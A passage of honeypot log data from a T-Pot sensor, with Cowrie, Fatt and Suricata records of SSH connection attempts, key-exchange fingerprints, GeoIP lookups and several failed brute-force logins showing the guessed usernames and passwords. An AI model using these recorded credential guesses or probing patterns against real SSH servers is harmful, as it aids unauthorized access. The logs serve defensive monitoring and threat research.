"dest_port": 34120, "timestamp": "2021-09-20T11:55:10.423637", "@timestamp": "2021-09-20T11:55:10.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33384	8.23.139.118	109.199.241.180	Fatt	2021-09-20 14:55:19.506825+03	2021-09-20 15:00:05.788721+03	{"_id": "eQYPA3wBvYTbRNuEf098", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.23.139.118", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.79.58.5532351109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 51177, "dest_port": 22, "timestamp": "2021-09-20T11:55:19.506825", "@timestamp": "2021-09-20T11:55:19.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33385	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:55:19.378487+03	2021-09-20 15:00:05.789722+03	{"_id": "fgYPA3wBvYTbRNuEgU8P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.79.58.5532351109.199.241.180'", "session": "1bc049ad6b90", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.79.58.5532351109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:55:19.378487Z", "@timestamp": "2021-09-20T11:55:19.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33386	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:55:19.375425+03	2021-09-20 15:00:05.790722+03	{"_id": "fwYPA3wBvYTbRNuEgU8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.23.139.118:51177 (192.168.176.2:22) [session: 1bc049ad6b90]", "session": "1bc049ad6b90", "@version": "1", "protocol": "ssh", "src_port": 51177, "dest_port": 22, "timestamp": "2021-09-20T11:55:19.375425Z", "@timestamp": "2021-09-20T11:55:19.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33387	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:55:19.507573+03	2021-09-20 15:00:05.791723+03	{"_id": "gAYPA3wBvYTbRNuEgU8Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "1bc049ad6b90", "@version": "1", "timestamp": "2021-09-20T11:55:19.507573Z", "@timestamp": "2021-09-20T11:55:19.507Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
33389	8.23.139.118	109.199.241.180	Suricata	2021-09-20 14:55:19.506825+03	2021-09-20 15:00:05.793721+03	{"_id": "ggYPA3wBvYTbRNuEgk9X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.79.58.5532351109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.23.139.118", "dest_ip": "192.168.20.116", "flow_id": 232331804131975, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51177, "dest_port": 22, "timestamp": "2021-09-20T11:55:19.506825Z", "@timestamp": "2021-09-20T11:55:19.506Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33390	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:05.013583+03	2021-09-20 15:00:05.795723+03	{"_id": "UQYPA3wBvYTbRNuESE_I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "87.112.251.105", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51359, "timestamp": "2021-09-20T11:55:05.013583", "@timestamp": "2021-09-20T11:55:05.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33391	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:55:10.428198+03	2021-09-20 15:00:05.796722+03	{"_id": "aAYPA3wBvYTbRNuEXE9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34120, "dest_port": 22, "timestamp": "2021-09-20T11:55:10.428198", "@timestamp": "2021-09-20T11:55:10.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33392	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:55:10.255139+03	2021-09-20 15:00:05.797721+03	{"_id": "bwYPA3wBvYTbRNuEXU_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:34120 (192.168.176.2:22) [session: f9380b2cee8c]", "session": "f9380b2cee8c", "@version": "1", "protocol": "ssh", "src_port": 34120, "dest_port": 22, "timestamp": "2021-09-20T11:55:10.255139Z", "@timestamp": "2021-09-20T11:55:10.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33393	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:55:10.42881+03	2021-09-20 15:00:05.798722+03	{"_id": "cAYPA3wBvYTbRNuEXU_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f9380b2cee8c", "@version": "1", "timestamp": "2021-09-20T11:55:10.428810Z", "@timestamp": "2021-09-20T11:55:10.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33394	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:55:11.177961+03	2021-09-20 15:00:05.799722+03	{"_id": "cwYPA3wBvYTbRNuEYU_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [wzy/wzy] failed", "session": "f9380b2cee8c", "@version": "1", "password": "wzy", "username": "wzy", "timestamp": "2021-09-20T11:55:11.177961Z", "@timestamp": "2021-09-20T11:55:11.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33395	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:55:12.3506+03	2021-09-20 15:00:05.800722+03	{"_id": "dAYPA3wBvYTbRNuEZU-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f9380b2cee8c", "@version": "1", "duration": 2.0928006172180176, "timestamp": "2021-09-20T11:55:12.350600Z", "@timestamp": "2021-09-20T11:55:12.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33396	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:19.379725+03	2021-09-20 15:00:05.802722+03	{"_id": "eAYPA3wBvYTbRNuEf098", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.23.139.118", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51177, "timestamp": "2021-09-20T11:55:19.379725", "@timestamp": "2021-09-20T11:55:19.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33397	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:55:10.263373+03	2021-09-20 15:00:05.803721+03	{"_id": "cQYPA3wBvYTbRNuEXU_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f9380b2cee8c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:55:10.263373Z", "@timestamp": "2021-09-20T11:55:10.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33398	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:55:04.904942+03	2021-09-20 15:00:05.805723+03	{"_id": "UAYPA3wBvYTbRNuESE_G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35832, "timestamp": "2021-09-20T11:55:04.904942", "@timestamp": "2021-09-20T11:55:04.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33404	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:55:37.589329+03	2021-09-20 15:00:05.812722+03	{"_id": "xgYPA3wBvYTbRNuEx09o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [root/abc123654] failed", "session": "35150a728e0e", "@version": "1", "password": "abc123654", "username": "root", "timestamp": "2021-09-20T11:55:37.589329Z", "@timestamp": "2021-09-20T11:55:37.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33399	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:55:36.769282+03	2021-09-20 15:00:05.806723+03	{"_id": "tAYPA3wBvYTbRNuEw09_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "35150a728e0e", "@version": "1", "timestamp": 